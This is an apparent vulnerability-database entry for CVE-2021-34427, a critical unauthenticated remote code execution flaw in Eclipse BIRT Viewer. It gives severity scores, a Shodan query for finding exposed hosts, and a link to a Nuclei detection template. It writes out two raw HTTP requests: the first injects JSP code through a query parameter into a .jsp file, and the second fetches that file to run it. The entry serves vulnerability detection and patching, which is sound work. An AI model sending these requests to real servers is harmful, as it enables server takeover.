| Title | Eclipse BIRT Viewer - Remote Code Execution |
|---|---|
| Author | us3r777,Synacktiv |
| Severity | Critical |
| Impact | Unauthenticated attackers can create and access malicious JSP files via JSP injection, achieving remote code execution and complete server compromise. |
| Remediation | Upgrade to Eclipse BIRT version 4.9.0 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.62233 |
| CVE ID | CVE-2021-34427 |
| CWE ID | CWE-434 |
| Shodan Query | http.title:"eclipse birt home" |
| Tags | cve cve2021 birt rce file-upload intrusive vuln vkev |
Eclipse BIRT versions 4.8.0 and earlier contain a JSP injection caused by query parameters, letting remote attackers create and access malicious JSP files in the viewer directory, exploit requires sending crafted query parameters.
GET /document?__report=test.rptdesign&sample=%3C%25out.println(%22l2sYHdvbmxaZ6E6hgDF5%22)%3B%25%3E&__document=./test/YXCLIbjI.jsp/. HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /test/YXCLIbjI.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34427.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-34427.pcap
N/AN/A